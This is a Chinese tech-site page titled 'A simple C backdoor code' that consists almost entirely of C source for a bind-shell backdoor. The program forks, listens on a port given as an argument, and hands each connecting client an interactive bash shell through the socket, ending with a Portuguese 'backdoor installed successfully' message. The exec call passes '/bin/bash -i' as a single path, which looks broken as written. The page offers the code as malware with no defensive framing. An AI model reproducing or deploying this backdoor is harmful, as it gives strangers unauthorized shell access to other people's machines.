首页 电脑 电脑学堂 查看内容

一个简单的C后门代码

2009-8-9 12:12 696 0

摘要: #include <stdlib.h>#include <stdio.h>#include <errno.h>#include <strings.h>#...
关键词: nbsp include local sockaddr socketa struct socket close tamanho sizeof

#include <stdlib.h>#include <stdio.h>#include <errno.h>#include <strings.h>#include <unistd.h>#include <netinet/in.h>#include <sys/socket.h>#include <sys/types.h>#include <signal.h>#define BACKLOG 7int main(int argc, char *argv[]){   int b_socket, b_socketa;   int tamanho;   struct sockaddr_in local;   struct sockaddr_in remoto;   if(fork() == 0){   bzero(&local, sizeof(local));   local.sin_family = AF_INET;   local.sin_port = htons(atoi(argv[1]));   local.sin_addr.s_addr = INADDR_ANY;   bzero(&(local.sin_zero), 8);b_socket=socket(AF_INET, SOCK_STREAM, 0);bind(b_socket, (struct sockaddr *)&local, sizeof(struct sockaddr));listen(b_socket, BACKLOG);tamanho = sizeof(struct sockaddr_in);while(1){if((b_socketa=accept(b_socket, (struct sockaddr *)&remoto,&tamanho)))      {        close(0);        close(1);        close(2);        dup2(b_socketa,0);        dup2(b_socketa,1);        dup2(b_socketa,2);        execl("/bin/bash -i","bash",(char *)0);        printf("NSG wins !! Backdoor instalada com sucesso, mano!\n\n");        close(b_socketa);        exit(0);     }      if (!fork())      {      perror("\nErro, cara!");      exit(1);          }  }  }   return(0);}
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部